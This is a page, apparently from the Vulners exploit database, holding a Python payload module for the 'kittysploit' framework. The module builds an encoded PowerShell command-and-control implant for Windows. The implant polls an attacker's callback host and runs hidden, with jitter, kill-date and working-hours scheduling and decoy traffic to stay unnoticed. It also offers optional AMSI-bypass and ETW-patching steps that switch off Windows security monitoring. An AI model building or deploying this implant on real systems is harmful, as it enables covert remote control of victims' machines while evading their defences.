PowerShell HTTP Polling Beacon
from kittysploit import *
import base64
from lib.c2.beacon_profile import BeaconProfile
from lib.c2.powershell_http_polling import build_powershell_http_polling_script
class Module(Payload):
CLIENT_LANGUAGE = "powershell"
__info__ = {
"name": "PowerShell HTTP Polling Beacon",
"description": (
"Native PowerShell HTTP polling implant compatible with "
"listeners/multi/reverse_http_polling (jitter, kill date, working hours, cover traffic)"
),
"category": PayloadCategory.CMD,
"arch": Arch.OTHER,
"platform": Platform.WINDOWS,
"listener": "listeners/multi/reverse_http_polling",
"handler": Handler.REVERSE,
"session_type": SessionType.POLLING,
}
lhost = OptString("127.0.0.1", "Callback host", True)
lport = OptPort(8088, "Callback port", True)
url_prefix = OptString("/c2", "URL prefix (must match listener)", False, True)
client_id = OptString("", "Client/implant ID", False, True)
poll_interval = OptInteger(10, "Base poll interval seconds", False, True)
jitter_percent = OptInteger(35, "Poll jitter percent", False, True)
kill_date = OptString("", "Kill date ISO YYYY-MM-DD", False, True)
working_hours = OptString("", "HH:MM-HH:MM window", False, True)
timezone = OptString("UTC", "Timezone (informational; local clock used)", False, True)
sleep_outside_hours = OptInteger(3600, "Sleep outside hours", False, True)
user_agent = OptString("Mozilla/5.0", "HTTP User-Agent", False, True)
host_header = OptString("", "Optional Host header", False, True)
payload_comms_host = OptString("", "Optional connect host", False, True)
cover_traffic = OptBool(True, "Decoy HTTP requests", False, True)
use_ssl = OptBool(False, "HTTPS callback", False, True)
bypass_amsi = OptBool(False, "Prepend AMSI bypass", False, True)
patch_etw = OptBool(False, "Patch EtwEventWrite", False, True)
def generate(self):
identity = self._apply_implant_identity_options()
client_id = str(getattr(getattr(self, "client_id", None), "value", self.client_id) or "").strip()
if identity:
client_id = identity.implant_id
elif not client_id:
client_id = "psagent1"
profile = BeaconProfile.from_opts(self)
script = build_powershell_http_polling_script(
str(self.lhost),
int(self.lport),
client_id,
url_prefix=str(self.url_prefix or "/c2"),
use_ssl=bool(self.use_ssl),
profile=profile,
typed_tasks=False,
)
from lib.c2.stager_evasion import powershell_prelude
prelude = powershell_prelude(
bypass_amsi=bool(self.bypass_amsi),
patch_etw=bool(self.patch_etw),
)
full = prelude + script
return self._encode_powershell_command(full, window_style="hidden")
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Aug 2026 05:37Current
5.8Medium risk
Vulners AI Score5.8